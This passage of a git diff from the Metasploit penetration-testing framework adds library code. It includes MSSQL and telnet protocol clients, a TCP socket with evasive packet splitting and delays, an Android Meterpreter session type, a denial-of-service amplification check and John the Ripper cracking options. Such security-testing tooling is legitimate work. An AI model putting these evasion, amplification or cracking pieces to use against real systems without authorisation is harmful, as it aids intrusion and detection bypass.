= true) + sock.put(req) + + # Read the 8 byte header to get the length and status + # Read the length to get the data + # If the status is 0, read another header and more data + + done = false + resp = "" + + while(not done) + head = sock.get_once(8, timeout) + if !(head and head.length == 8) + return false + end + + # Is this the last buffer? + if(head[1,1] == "\x01" or not check_status ) + done = true + end + + # Grab this block's length + rlen = head[2,2].unpack('n')[0] - 8 + + while(rlen > 0) + buff = sock.get_once(rlen, timeout) + return if not buff + resp << buff + rlen -= buff.length + end + end + + resp + end + + # + # Encrypt a password according to the TDS protocol (encode) + # + def mssql_tds_encrypt(pass) + # Convert to unicode, swap 4 bits both ways, xor with 0xa5 + Rex::Text.to_unicode(pass).unpack('C*').map {|c| (((c & 0x0f) << 4) + ((c & 0xf0) >> 4)) ^ 0xa5 }.pack("C*") + end + + protected + + def windows_authentication + raise NotImplementedError + end + + def use_ntlm2_session + raise NotImplementedError + end + + def use_ntlmv2 + raise NotImplementedError + end + + def send_lm + raise NotImplementedError + end + + def send_ntlm + raise NotImplementedError + end + + def send_spn + raise NotImplementedError + end + + end + + end + end +end \ No newline at end of file diff --git a/lib/metasploit/framework/parsed_options.rb b/lib/metasploit/framework/parsed_options.rb new file mode 100644 index 0000000000..4a5727fc0f --- /dev/null +++ b/lib/metasploit/framework/parsed_options.rb @@ -0,0 +1,27 @@ +# +# Gems +# + +require 'active_support/dependencies/autoload' + +# @note Must use the nested declaration of the +# {Metasploit::Framework::ParsedOptions} namespace because commands, which +# use parsed options, need to be able to be required directly without any +# other part of metasploit-framework besides config/boot so that the +# commands can parse arguments, setup RAILS_ENV, and load +# config/application.rb correctly. +module Metasploit + module Framework + # Namespace for parsed options for {Metasploit::Framework::Command + # commands}. The names of `Class`es in this namespace correspond to the + # name of the `Class` in the {Metasploit::Framework::Command} namespace + # for which this namespace's `Class` parses options. + module ParsedOptions + extend ActiveSupport::Autoload + + autoload :Base + autoload :Console + end + end +end + diff --git a/lib/metasploit/framework/parsed_options/base.rb b/lib/metasploit/framework/parsed_options/base.rb new file mode 100644 index 0000000000..c8434b3ec0 --- /dev/null +++ b/lib/metasploit/framework/parsed_options/base.rb @@ -0,0 +1,177 @@ +# +# Standard Library +# + +require 'optparse' + +# +# Gems +# + +require 'active_support/ordered_options' + +# +# Project +# + +require 'metasploit/framework/database' +require 'metasploit/framework/parsed_options' + +# Options parsed from the command line that can be used to change the +# `Metasploit::Framework::Application.config` and `Rails.env` +class Metasploit::Framework::ParsedOptions::Base + # + # CONSTANTS + # + + # msfconsole boots in production mode instead of the normal rails default of + # development. + DEFAULT_ENVIRONMENT = 'production' + + # + # Attributes + # + + attr_reader :positional + + # + # Instance Methods + # + + def initialize(arguments=ARGV) + @positional = option_parser.parse(arguments) + end + + # Translates {#options} to the `application`'s config + # + # @param application [Rails::Application] + # @return [void] + def configure(application) + application.config['config/database'] = options.database.config + end + + # Sets the `RAILS_ENV` environment variable. + # + # 1. If the -E/--environment option is given, then its value is used. + # 2. The default value, 'production', is used. + # + # @return [void] + def environment! + if defined?(Rails) && Rails.instance_variable_defined?(:@_env) && Rails.env != options.environment + raise "#{self.class}##{__method__} called too late to set RAILS_ENV: Rails.env already memoized" + end + + ENV['RAILS_ENV'] = options.environment + end + + # Options parsed from + # + # @return [ActiveSupport::OrderedOptions] + def options + unless @options + options = ActiveSupport::OrderedOptions.new + + options.database = ActiveSupport::OrderedOptions.new + + options.database.config = Metasploit::Framework::Database.configurations_pathname.try(:to_path) + options.database.disable = false + options.database.migrations_paths = [] + + # If RAILS_ENV is set, then it will be used, but if RAILS_ENV is set and the --environment option is given, then + # --environment value will be used to reset ENV[RAILS_ENV]. + options.environment = ENV['RAILS_ENV'] || DEFAULT_ENVIRONMENT + + options.framework = ActiveSupport::OrderedOptions.new + options.framework.config = nil + + options.modules = ActiveSupport::OrderedOptions.new + options.modules.path = nil + + @options = options + end + + @options + end + + private + + # Parses arguments into {#options}. + # + # @return [OptionParser] + def option_parser + @option_parser ||= OptionParser.new { |option_parser| + option_parser.separator '' + option_parser.separator 'Common options' + + option_parser.on( + '-E', + '--environment ENVIRONMENT', + %w{development production test}, + "The Rails environment. Will use RAIL_ENV environment variable if that is set. " \ + "Defaults to production if neither option not RAILS_ENV environment variable is set." + ) do |environment| + options.environment = environment + end + + option_parser.separator '' + option_parser.separator 'Database options' + + option_parser.on( + '-M', + '--migration-path DIRECTORY', + 'Specify a directory containing additional DB migrations' + ) do |directory| + options.database.migrations_paths << directory + end + + option_parser.on('-n', '--no-database', 'Disable database support') do + options.database.disable = true + end + + option_parser.on( + '-y', + '--yaml PATH', + 'Specify a YAML file containing database settings' + ) do |path| + options.database.config = path + end + + option_parser.separator '' + option_parser.separator 'Framework options' + + + option_parser.on('-c', '-c FILE', 'Load the specified configuration file') do |file| + options.framework.config = file + end + + option_parser.on( + '-v', + '--version', + 'Show version' + ) do + options.subcommand = :version + end + + option_parser.separator '' + option_parser.separator 'Module options' + + option_parser.on( + '-m', + '--module-path DIRECTORY', + 'An additional module path' + ) do |directory| + options.modules.path = directory + end + + # + # Tail + # + + option_parser.separator '' + option_parser.on_tail('-h', '--help', 'Show this message') do + puts option_parser + exit + end + } + end +end diff --git a/lib/metasploit/framework/parsed_options/console.rb b/lib/metasploit/framework/parsed_options/console.rb new file mode 100644 index 0000000000..ff9f75a73f --- /dev/null +++ b/lib/metasploit/framework/parsed_options/console.rb @@ -0,0 +1,79 @@ +# Parsed options for {Metasploit::Framework::Command::Console} +class Metasploit::Framework::ParsedOptions::Console < Metasploit::Framework::ParsedOptions::Base + # Options parsed from msfconsole command-line. + # + # @return [ActiveSupport::OrderedOptions] + def options + unless @options + super.tap { |options| + options.console = ActiveSupport::OrderedOptions.new + + options.console.commands = [] + options.console.confirm_exit = false + options.console.defanged = false + options.console.local_output = nil + options.console.plugins = [] + options.console.quiet = false + options.console.real_readline = false + options.console.resources = [] + options.console.subcommand = :run + } + end + + @options + end + + private + + # Parses msfconsole arguments into {#options}. + # + # @return [OptionParser] + def option_parser + unless @option_parser + super.tap { |option_parser| + option_parser.banner = "Usage: #{option_parser.program_name} [options]" + + option_parser.separator '' + option_parser.separator 'Console options:' + + option_parser.on('-a', '--ask', "Ask before exiting Metasploit or accept 'exit -y'") do + options.console.confirm_exit = true + end + + option_parser.on('-d', '--defanged', 'Execute the console as defanged') do + options.console.defanged = true + end + + option_parser.on('-L', '--real-readline', 'Use the system Readline library instead of RbReadline') do + options.console.real_readline = true + end + + option_parser.on('-o', '--output FILE', 'Output to the specified file') do |file| + options.console.local_output = file + end + + option_parser.on('-p', '--plugin PLUGIN', 'Load a plugin on startup') do |plugin| + options.console.plugins << plugin + end + + option_parser.on('-q', '--quiet', 'Do not print the banner on start up') do + options.console.quiet = true + end + + option_parser.on('-r', '--resource FILE', 'Execute the specified resource file') do |file| + options.console.resources << file + end + + option_parser.on( + '-x', + '--execute-command COMMAND', + 'Execute the specified string as console commands (use ; for multiples)' + ) do |commands| + options.console.commands += commands.split(/\s*;\s*/) + end + } + end + + @option_parser + end +end diff --git a/lib/metasploit/framework/require.rb b/lib/metasploit/framework/require.rb new file mode 100644 index 0000000000..760771c488 --- /dev/null +++ b/lib/metasploit/framework/require.rb @@ -0,0 +1,96 @@ +# @note needs to use explicit nesting. so this file can be loaded directly without loading 'metasploit/framework', this +# file can be used prior to Bundler.require. +module Metasploit + module Framework + # Extension to `Kernel#require` behavior. + module Require + # + # Module Methods + # + + # Tries to require `name`. If a `LoadError` occurs, then `without_warning` is printed to standard error using + # `Kernel#warn`, along with instructions for reinstalling the bundle. If a `LoadError` does not occur, then + # `with_block` is called. + # + # @param name [String] the name of the library to `Kernel#require`. + # @param without_warning [String] warning to print if `name` cannot be required. + # @yield block to run when `name` requires successfully + # @yieldreturn [void] + # @return [void] + def self.optionally(name, without_warning) + begin + require name + rescue LoadError + warn without_warning + warn "Bundle installed '--without #{Bundler.settings.without.join(' ')}'" + warn "To clear the without option do `bundle install --without ''` " \ + "(the --without flag with an empty string) or " \ + "`rm -rf .bundle` to remove the .bundle/config manually and " \ + "then `bundle install`" + else + if block_given? + yield + end + end + end + + # Tries to `require 'active_record/railtie'` to define the activerecord Rails initializers and rake tasks. + # + # @example Optionally requiring 'active_record/railtie' + # require 'metasploit/framework/require' + # + # class MyClass + # def setup + # if database_enabled + # Metasploit::Framework::Require.optionally_active_record_railtie + # end + # end + # end + # + # @return [void] + def self.optionally_active_record_railtie + if ::File.exist?(Rails.application.config.paths['config/database'].first) + optionally( + 'active_record/railtie', + 'activerecord not in the bundle, so database support will be disabled.' + ) + else + warn 'Could not find database.yml, so database support will be disabled.' + end + end + + # Tries to `require 'metasploit/credential/creation'` and include it in the `including_module`. + # + # @param including_module [Module] `Class` or `Module` that wants to `include Metasploit::Credential::Creation`. + # @return [void] + def self.optionally_include_metasploit_credential_creation(including_module) + optionally( + 'metasploit/credential/creation', + "metasploit-credential not in the bundle, so Metasploit::Credential creation will fail for #{including_module.name}", + ) do + including_module.send(:include, Metasploit::Credential::Creation) + end + end + + # + # Instance Methods + # + + # Tries to `require 'metasploit/credential/creation'` and include it in this `Class` or `Module`. + # + # @example Using in a `Module` + # require 'metasploit/framework/require' + # + # module MyModule + # extend Metasploit::Framework::Require + # + # optionally_include_metasploit_credential_creation + # end + # + # @return [void] + def optionally_include_metasploit_credential_creation + Metasploit::Framework::Require.optionally_include_metasploit_credential_creation(self) + end + end + end +end diff --git a/lib/metasploit/framework/tcp/client.rb b/lib/metasploit/framework/tcp/client.rb new file mode 100644 index 0000000000..9320936192 --- /dev/null +++ b/lib/metasploit/framework/tcp/client.rb @@ -0,0 +1,186 @@ +module Metasploit + module Framework + module Tcp + + module EvasiveTCP + attr_accessor :_send_size, :_send_delay, :evasive + + def denagle + begin + setsockopt(Socket::IPPROTO_TCP, Socket::TCP_NODELAY, 1) + rescue ::Exception + end + end + + def write(buf, opts={}) + + return super(buf, opts) if not @evasive + + ret = 0 + idx = 0 + len = @_send_size || buf.length + + while(idx < buf.length) + + if(@_send_delay and idx > 0) + ::IO.select(nil, nil, nil, @_send_delay) + end + + pkt = buf[idx, len] + + res = super(pkt, opts) + flush() + + idx += len + ret += res if res + end + ret + end + end + + module Client + + # + # Establishes a TCP connection to the specified RHOST/RPORT + # + # @see Rex::Socket::Tcp + # @see Rex::Socket::Tcp.create + def connect(global = true, opts={}) + + dossl = false + if(opts.has_key?('SSL')) + dossl = opts['SSL'] + else + dossl = ssl + end + + nsock = Rex::Socket::Tcp.create( + 'PeerHost' => opts['RHOST'] || rhost, + 'PeerPort' => (opts['RPORT'] || rport).to_i, + 'LocalHost' => opts['CHOST'] || chost || "0.0.0.0", + 'LocalPort' => (opts['CPORT'] || cport || 0).to_i, + 'SSL' => dossl, + 'SSLVersion' => opts['SSLVersion'] || ssl_version, + 'Proxies' => proxies, + 'Timeout' => (opts['ConnectTimeout'] || connection_timeout || 10).to_i + ) + + # enable evasions on this socket + set_tcp_evasions(nsock) + + # Set this socket to the global socket as necessary + self.sock = nsock if (global) + + return nsock + end + + # Enable evasions on a given client + def set_tcp_evasions(socket) + + if( max_send_size.to_i == 0 and send_delay.to_i == 0) + return + end + + return if socket.respond_to?('evasive') + + socket.extend(EvasiveTCP) + + if ( max_send_size.to_i > 0) + socket._send_size = max_send_size + socket.denagle + socket.evasive = true + end + + if ( send_delay.to_i > 0) + socket._send_delay = send_delay + socket.evasive = true + end + end + + # + # Closes the TCP connection + # + def disconnect(nsock = self.sock) + begin + if (nsock) + nsock.shutdown + nsock.close + end + rescue IOError + end + + if (nsock == sock) + self.sock = nil + end + + end + + ## + # + # Wrappers for getters + # + ## + + def max_send_size + raise NotImplementedError + end + + def send_delay + raise NotImplementedError + end + + # + # Returns the target host + # + def rhost + raise NotImplementedError + end + + # + # Returns the remote port + # + def rport + raise NotImplementedError + end + + # + # Returns the local host for outgoing connections + # + def chost + raise NotImplementedError + end + + # + # Returns the local port for outgoing connections + # + def cport + raise NotImplementedError + end + + # + # Returns the boolean indicating SSL + # + def ssl + raise NotImplementedError + end + + # + # Returns the string indicating SSLVersion + # + def ssl_version + raise NotImplementedError + end + + # + # Returns the proxy configuration + # + def proxies + raise NotImplementedError + end + + attr_accessor :sock + + end + end + end +end diff --git a/lib/metasploit/framework/telnet/client.rb b/lib/metasploit/framework/telnet/client.rb new file mode 100644 index 0000000000..7b88dcf2bf --- /dev/null +++ b/lib/metasploit/framework/telnet/client.rb @@ -0,0 +1,219 @@ +require 'metasploit/framework/tcp/client' + +module Metasploit + module Framework + module Telnet + module Client + include Metasploit::Framework::Tcp::Client + include Msf::Auxiliary::Login + + attr_accessor :banner + + # + # CONSTANTS + # + # Borrowing constants from Ruby's Net::Telnet class (ruby license) + IAC = 255.chr # "\377" # "\xff" # interpret as command + DONT = 254.chr # "\376" # "\xfe" # you are not to use option + DO = 253.chr # "\375" # "\xfd" # please, you use option + WONT = 252.chr # "\374" # "\xfc" # I won't use option + WILL = 251.chr # "\373" # "\xfb" # I will use option + SB = 250.chr # "\372" # "\xfa" # interpret as subnegotiation + GA = 249.chr # "\371" # "\xf9" # you may reverse the line + EL = 248.chr # "\370" # "\xf8" # erase the current line + EC = 247.chr # "\367" # "\xf7" # erase the current character + AYT = 246.chr # "\366" # "\xf6" # are you there + AO = 245.chr # "\365" # "\xf5" # abort output--but let prog finish + IP = 244.chr # "\364" # "\xf4" # interrupt process--permanently + BREAK = 243.chr # "\363" # "\xf3" # break + DM = 242.chr # "\362" # "\xf2" # data mark--for connect. cleaning + NOP = 241.chr # "\361" # "\xf1" # nop + SE = 240.chr # "\360" # "\xf0" # end sub negotiation + EOR = 239.chr # "\357" # "\xef" # end of record (transparent mode) + ABORT = 238.chr # "\356" # "\xee" # Abort process + SUSP = 237.chr # "\355" # "\xed" # Suspend process + EOF = 236.chr # "\354" # "\xec" # End of file + SYNCH = 242.chr # "\362" # "\xf2" # for telfunc calls + + OPT_BINARY = 0.chr # "\000" # "\x00" # Binary Transmission + OPT_ECHO = 1.chr # "\001" # "\x01" # Echo + OPT_RCP = 2.chr # "\002" # "\x02" # Reconnection + OPT_SGA = 3.chr # "\003" # "\x03" # Suppress Go Ahead + OPT_NAMS = 4.chr # "\004" # "\x04" # Approx Message Size Negotiation + OPT_STATUS = 5.chr # "\005" # "\x05" # Status + OPT_TM = 6.chr # "\006" # "\x06" # Timing Mark + OPT_RCTE = 7.chr # "\a" # "\x07" # Remote Controlled Trans and Echo + OPT_NAOL = 8.chr # "\010" # "\x08" # Output Line Width + OPT_NAOP = 9.chr # "\t" # "\x09" # Output Page Size + OPT_NAOCRD = 10.chr # "\n" # "\x0a" # Output Carriage-Return Disposition + OPT_NAOHTS = 11.chr # "\v" # "\x0b" # Output Horizontal Tab Stops + OPT_NAOHTD = 12.chr # "\f" # "\x0c" # Output Horizontal Tab Disposition + OPT_NAOFFD = 13.chr # "\r" # "\x0d" # Output Formfeed Disposition + OPT_NAOVTS = 14.chr # "\016" # "\x0e" # Output Vertical Tabstops + OPT_NAOVTD = 15.chr # "\017" # "\x0f" # Output Vertical Tab Disposition + OPT_NAOLFD = 16.chr # "\020" # "\x10" # Output Linefeed Disposition + OPT_XASCII = 17.chr # "\021" # "\x11" # Extended ASCII + OPT_LOGOUT = 18.chr # "\022" # "\x12" # Logout + OPT_BM = 19.chr # "\023" # "\x13" # Byte Macro + OPT_DET = 20.chr # "\024" # "\x14" # Data Entry Terminal + OPT_SUPDUP = 21.chr # "\025" # "\x15" # SUPDUP + OPT_SUPDUPOUTPUT = 22.chr # "\026" # "\x16" # SUPDUP Output + OPT_SNDLOC = 23.chr # "\027" # "\x17" # Send Location + OPT_TTYPE = 24.chr # "\030" # "\x18" # Terminal Type + OPT_EOR = 25.chr # "\031" # "\x19" # End of Record + OPT_TUID = 26.chr # "\032" # "\x1a" # TACACS User Identification + OPT_OUTMRK = 27.chr # "\e" # "\x1b" # Output Marking + OPT_TTYLOC = 28.chr # "\034" # "\x1c" # Terminal Location Number + OPT_3270REGIME = 29.chr # "\035" # "\x1d" # Telnet 3270 Regime + OPT_X3PAD = 30.chr # "\036" # "\x1e" # X.3 PAD + OPT_NAWS = 31.chr # "\037" # "\x1f" # Negotiate About Window Size + OPT_TSPEED = 32.chr # " " # "\x20" # Terminal Speed + OPT_LFLOW = 33.chr # "!" # "\x21" # Remote Flow Control + OPT_LINEMODE = 34.chr # "\"" # "\x22" # Linemode + OPT_XDISPLOC = 35.chr # "#" # "\x23" # X Display Location + OPT_OLD_ENVIRON = 36.chr # "$" # "\x24" # Environment Option + OPT_AUTHENTICATION = 37.chr # "%" # "\x25" # Authentication Option + OPT_ENCRYPT = 38.chr # "&" # "\x26" # Encryption Option + OPT_NEW_ENVIRON = 39.chr # "'" # "\x27" # New Environment Option + OPT_EXOPL = 255.chr # "\377" # "\xff" # Extended-Options-List + + # + # This method establishes an Telnet connection to host and port specified by + # the RHOST and RPORT options, respectively. After connecting, the banner + # message is read in and stored in the 'banner' attribute. This method has the + # benefit of handling telnet option negotiation. + # + def connect(global = true, verbose = true) + @trace = '' + @recvd = '' + fd = super(global) + + self.banner = '' + # Wait for a banner to arrive... + begin + Timeout.timeout(banner_timeout) do + while(true) + buff = recv(fd) + self.banner << buff if buff + if(self.banner =~ @login_regex or self.banner =~ @password_regex) + break + elsif self.banner =~ @busy_regex + # It's about to drop connection anyway -- seen on HP JetDirect telnet server + break + end + end + end + rescue ::Timeout::Error + end + + self.banner.strip! + + # Return the file descriptor to the caller + fd + end + + # Sometimes telnet servers start RSTing if you get them angry. + # This is a short term fix; the problem is that we don't know + # if it's going to reset forever, or just this time, or randomly. + # A better solution is to get the socket connect to try again + # with a little backoff. + def connect_reset_safe + begin + connect + rescue Rex::ConnectionRefused + return :refused + end + return :connected + end + + def recv(fd=self.sock, timeout=telnet_timeout) + recv_telnet(fd, timeout.to_f) + end + + # + # Handle telnet option negotiation + # + # Appends to the @recvd buffer which is used to tell us whether we're at a + # login prompt, a password prompt, or a working shell. + # + def recv_telnet(fd, timeout) + + data = '' + + begin + data = fd.get_once(-1, timeout) + return nil if not data or data.length == 0 + + # combine CR+NULL into CR + data.gsub!(/#{CR}#{NULL}/no, CR) + + # combine EOL into "\n" + data.gsub!(/#{EOL}/no, "\n") + + data.gsub!(/#{IAC}( + [#{IAC}#{AO}#{AYT}#{DM}#{IP}#{NOP}]|[#{DO}#{DONT}#{WILL}#{WONT}] + [#{OPT_BINARY}-#{OPT_NEW_ENVIRON}#{OPT_EXOPL}]|#{SB}[^#{IAC}]*#{IAC}#{SE} + )/xno) do + m = $1 + + if m == IAC + IAC + elsif m == AYT + fd.write("YES" + EOL) + '' + elsif m[0,1] == DO + if(m[1,1] == OPT_BINARY) + fd.write(IAC + WILL + OPT_BINARY) + else + fd.write(IAC + WONT + m[1,1]) + end + '' + elsif m[0,1] == DONT + fd.write(IAC + WONT + m[1,1]) + '' + elsif m[0,1] == WILL + if m[1,1] == OPT_BINARY + fd.write(IAC + DO + OPT_BINARY) + # Disable Echo + elsif m[1,1] == OPT_ECHO + fd.write(IAC + DONT + OPT_ECHO) + elsif m[1,1] == OPT_SGA + fd.write(IAC + DO + OPT_SGA) + else + fd.write(IAC + DONT + m[1,1]) + end + '' + elsif m[0,1] == WONT + fd.write(IAC + DONT + m[1,1]) + '' + else + '' + end + end + + @trace << data + @recvd << data + fd.flush + + rescue ::EOFError, ::Errno::EPIPE + end + + data + end + + # + # Wrappers for getters + # + + def banner_timeout + raise NotImplementedError + end + + def telnet_timeout + raise NotImplementedError + end + + end + end + end +end \ No newline at end of file diff --git a/lib/metasploit/framework/version.rb b/lib/metasploit/framework/version.rb new file mode 100644 index 0000000000..bd19c79202 --- /dev/null +++ b/lib/metasploit/framework/version.rb @@ -0,0 +1,13 @@ +module Metasploit + module Framework + module Version + MAJOR = 4 + MINOR = 10 + PATCH = 1 + PRERELEASE = 'dev' + end + + VERSION = "#{Version::MAJOR}.#{Version::MINOR}.#{Version::PATCH}-#{Version::PRERELEASE}" + GEM_VERSION = VERSION.gsub('-', '.pre.') + end +end diff --git a/lib/msf/base/config.rb b/lib/msf/base/config.rb index b5a8b2f40f..beaac2a5b8 100644 --- a/lib/msf/base/config.rb +++ b/lib/msf/base/config.rb @@ -1,6 +1,18 @@ # -*- coding: binary -*- + +# +# Standard Library +# + require 'fileutils' +# +# Project +# + +require 'metasploit/framework/version' +require 'rex/compat' + module Msf # This class wraps interaction with global configuration that can be used as a @@ -25,16 +37,16 @@ class Config < Hash ['HOME', 'LOCALAPPDATA', 'APPDATA', 'USERPROFILE'].each do |dir| val = Rex::Compat.getenv(dir) if (val and File.directory?(val)) - return File.join(val, ".msf#{Msf::Framework::Major}") + return File.join(val, ".msf#{Metasploit::Framework::Version::MAJOR}") end end begin # First we try $HOME/.msfx - File.expand_path("~#{FileSep}.msf#{Msf::Framework::Major}") + File.expand_path("~#{FileSep}.msf#{Metasploit::Framework::Version::MAJOR}") rescue ::ArgumentError # Give up and install root + ".msfx" - InstallRoot + ".msf#{Msf::Framework::Major}" + InstallRoot + ".msf#{Metasploit::Framework::Version::MAJOR}" end end diff --git a/lib/msf/base/sessions/meterpreter_android.rb b/lib/msf/base/sessions/meterpreter_android.rb new file mode 100644 index 0000000000..f3417ae8c7 --- /dev/null +++ b/lib/msf/base/sessions/meterpreter_android.rb @@ -0,0 +1,33 @@ +# -*- coding: binary -*- + +require 'msf/base/sessions/meterpreter' +require 'msf/base/sessions/meterpreter_java' +require 'msf/base/sessions/meterpreter_options' + +module Msf +module Sessions + +### +# +# This class creates a platform-specific meterpreter session type +# +### +class Meterpreter_Java_Android < Msf::Sessions::Meterpreter_Java_Java + + def initialize(rstream, opts={}) + super + self.platform = 'java/android' + end + + def load_android + original = console.disable_output + console.disable_output = true + console.run_single('load android') + console.disable_output = original + end + +end + +end +end + diff --git a/lib/msf/base/sessions/meterpreter_options.rb b/lib/msf/base/sessions/meterpreter_options.rb index 333dd968a7..f9d60d30b8 100644 --- a/lib/msf/base/sessions/meterpreter_options.rb +++ b/lib/msf/base/sessions/meterpreter_options.rb @@ -59,6 +59,12 @@ module MeterpreterOptions end end + if session.platform =~ /android/i + if datastore['AutoLoadAndroid'] + session.load_android + end + end + [ 'InitialAutoRunScript', 'AutoRunScript' ].each do |key| if (datastore[key].empty? == false) args = Shellwords.shellwords( datastore[key] ) diff --git a/lib/msf/base/simple/framework/module_paths.rb b/lib/msf/base/simple/framework/module_paths.rb index 481068cf3c..a5ddf83840 100644 --- a/lib/msf/base/simple/framework/module_paths.rb +++ b/lib/msf/base/simple/framework/module_paths.rb @@ -1,3 +1,4 @@ +# -*- coding: binary -*- module Msf module Simple module Framework @@ -9,9 +10,10 @@ module Msf # Ensure the module cache is accurate self.modules.refresh_cache_from_database - # Initialize the default module search paths - if (Msf::Config.module_directory) - self.modules.add_module_path(Msf::Config.module_directory, opts) + add_engine_module_paths(Rails.application, opts) + + Rails.application.railties.engines.each do |engine| + add_engine_module_paths(engine, opts) end # Initialize the user module search path @@ -27,6 +29,25 @@ module Msf } end end + + private + + # Add directories `engine.paths['modules']` from `engine`. + # + # @param engine [Rails::Engine] a rails engine or application + # @param options [Hash] options for {Msf::ModuleManager::ModulePaths#add_module_paths} + # @return [void] + def add_engine_module_paths(engine, options={}) + modules_paths = engine.paths['modules'] + + if modules_paths + modules_directories = modules_paths.existent_directories + + modules_directories.each do |modules_directory| + modules.add_module_path(modules_directory, options) + end + end + end end end end diff --git a/lib/msf/core.rb b/lib/msf/core.rb index 0c2fe2409c..cde0260688 100644 --- a/lib/msf/core.rb +++ b/lib/msf/core.rb @@ -60,6 +60,7 @@ require 'msf/core/post' # Custom HTTP Modules require 'msf/http/wordpress' require 'msf/http/typo3' +require 'msf/http/jboss' # Drivers require 'msf/core/exploit_driver' diff --git a/lib/msf/core/auxiliary/drdos.rb b/lib/msf/core/auxiliary/drdos.rb new file mode 100644 index 0000000000..fdf3f3f93e --- /dev/null +++ b/lib/msf/core/auxiliary/drdos.rb @@ -0,0 +1,47 @@ +# -*- coding: binary -*- +module Msf + +### +# +# This module provides methods for Distributed Reflective Denial of Service (DRDoS) attacks +# +### +module Auxiliary::DRDoS + + def prove_amplification(response_map) + vulnerable = false + proofs = [] + response_map.each do |request, responses| + responses ||= [] + this_proof = '' + + # compute packet amplification + if responses.size > 1 + vulnerable = true + this_proof += "#{responses.size}x packet amplification" + else + this_proof += 'No packet amplification' + end + + this_proof += ' and ' + + # compute bandwidth amplification + total_size = responses.map(&:size).reduce(:+) + bandwidth_amplification = total_size - request.size + if bandwidth_amplification > 0 + vulnerable = true + multiplier = total_size / request.size + this_proof += "a #{multiplier}x, #{bandwidth_amplification}-byte bandwidth amplification" + else + this_proof += 'no bandwidth amplification' + end + + # TODO (maybe): show the request and responses in more detail? + proofs << this_proof + end + + [ vulnerable, proofs.join(', ') ] + end + +end +end diff --git a/lib/msf/core/auxiliary/jtr.rb b/lib/msf/core/auxiliary/jtr.rb index db7af6a43f..b430f4b935 100644 --- a/lib/msf/core/auxiliary/jtr.rb +++ b/lib/msf/core/auxiliary/jtr.rb @@ -2,7 +2,8 @@ require 'open3' require 'fileutils' require 'rex/proto/ntlm/crypt' - +require 'metasploit/framework/jtr/cracker' +require 'metasploit/framework/jtr/wordlist' module Msf @@ -24,243 +25,28 @@ module Auxiliary::JohnTheRipper register_options( [ - OptPath.new('JOHN_BASE', [false, 'The directory containing John the Ripper (src, run, doc)']), - OptPath.new('JOHN_PATH', [false, 'The absolute path to the John the Ripper executable']), - OptPath.new('Wordlist', [false, 'The path to an optional Wordlist']), - OptBool.new('Munge',[false, 'Munge the Wordlist (Slower)', false]) + OptPath.new('CONFIG', [false, 'The path to a John config file to use instead of the default']), + OptPath.new('CUSTOM_WORDLIST', [false, 'The path to an optional custom wordlist']), + OptInt.new('ITERATION_TIMOUT', [false, 'The max-run-time for each iteration of cracking']), + OptPath.new('JOHN_PATH', [false, 'The absolute path to the John the Ripper executable']), + OptBool.new('MUTATE', [false, 'Apply common mutations to the Wordlist (SLOW)', false]), + OptPath.new('POT', [false, 'The path to a John POT file to use instead of the default']), + OptBool.new('USE_CREDS', [false, 'Use existing credential data saved in the database', true]), + OptBool.new('USE_DB_INFO', [false, 'Use looted database schema info to seed the wordlist', true]), + OptBool.new('USE_DEFAULT_WORDLIST', [false, 'Use the default metasploit wordlist', true]), + OptBool.new('USE_HOSTNAMES', [false, 'Seed the wordlist with hostnames from the workspace', true]), + OptBool.new('USE_ROOT_WORDS', [false, 'Use the Common Root Words Wordlist', true]) ], Msf::Auxiliary::JohnTheRipper ) - @run_path = nil - @john_path = ::File.join(Msf::Config.data_directory, "john") - - autodetect_platform - end - - # @return [String] the run path instance variable if the platform is detectable, nil otherwise. - def autodetect_platform - return @run_path if @run_path - cpuinfo_base = ::File.join(Msf::Config.data_directory, "cpuinfo") - if File.directory?(cpuinfo_base) - data = nil - - case ::RUBY_PLATFORM - when /mingw|cygwin|mswin/ - fname = "#{cpuinfo_base}/cpuinfo.exe" - if File.exists?(fname) and File.executable?(fname) - data = %x{"#{fname}"} rescue nil - end - case data - when /sse2/ - @run_path ||= "run.win32.sse2/john.exe" - when /mmx/ - @run_path ||= "run.win32.mmx/john.exe" - else - @run_path ||= "run.win32.any/john.exe" - end - when /x86_64-linux/ - fname = "#{cpuinfo_base}/cpuinfo.ia64.bin" - if File.exists? fname - ::FileUtils.chmod(0755, fname) rescue nil - data = %x{"#{fname}"} rescue nil - end - case data - when /mmx/ - @run_path ||= "run.linux.x64.mmx/john" - else - @run_path ||= "run.linux.x86.any/john" - end - when /i[\d]86-linux/ - fname = "#{cpuinfo_base}/cpuinfo.ia32.bin" - if File.exists? fname - ::FileUtils.chmod(0755, fname) rescue nil - data = %x{"#{fname}"} rescue nil - end - case data - when /sse2/ - @run_path ||= "run.linux.x86.sse2/john" - when /mmx/ - @run_path ||= "run.linux.x86.mmx/john" - else - @run_path ||= "run.linux.x86.any/john" - end - end - end - - return @run_path - end - - def john_session_id - @session_id ||= ::Rex::Text.rand_text_alphanumeric(8) - end - - def john_pot_file - ::File.join( ::Msf::Config.config_directory, "john.pot" ) - end - - def john_cracked_passwords - ret = {} - return ret if not ::File.exist?(john_pot_file) - ::File.open(john_pot_file, "rb") do |fd| - fd.each_line do |line| - hash,clear = line.sub(/\r?\n$/, '').split(",", 2) - ret[hash] = clear - end - end - ret - end - - def john_show_passwords(hfile, format=nil) - res = {:cracked => 0, :uncracked => 0, :users => {} } - - john_command = john_binary_path - - if john_command.nil? - print_error("John the Ripper executable not found") - return res - end - - pot = john_pot_file - conf = ::File.join(john_base_path, "confs", "john.conf") - - cmd = [ john_command, "--show", "--conf=#{conf}", "--pot=#{pot}", hfile] - - if format - cmd << "--format=" + format - end - - if RUBY_VERSION =~ /^1\.8\./ - cmd = cmd.join(" ") - end - - ::IO.popen(cmd, "rb") do |fd| - fd.each_line do |line| - line.chomp! - print_status(line) - if line =~ /(\d+) password hash(es)* cracked, (\d+) left/m - res[:cracked] = $1.to_i - res[:uncracked] = $2.to_i - end - - # XXX: If the password had : characters in it, we're screwed - - bits = line.split(':', -1) - - # Skip blank passwords - next if not bits[2] - - if (format== 'lm' or format == 'nt') - res[ :users ][ bits[0] ] = bits[1] - else - bits.last.chomp! - res[ :users ][ bits[0] ] = bits.drop(1) - end - - end - end - res - end - - def john_unshadow(passwd_file,shadow_file) - - retval="" - - john_command = john_binary_path - - if john_command.nil? - print_error("John the Ripper executable not found") - return nil - end - - if File.exists?(passwd_file) - unless File.readable?(passwd_file) - print_error("We do not have permission to read #{passwd_file}") - return nil - end - else - print_error("File does not exist: #{passwd_file}") - return nil - end - - if File.exists?(shadow_file) - unless 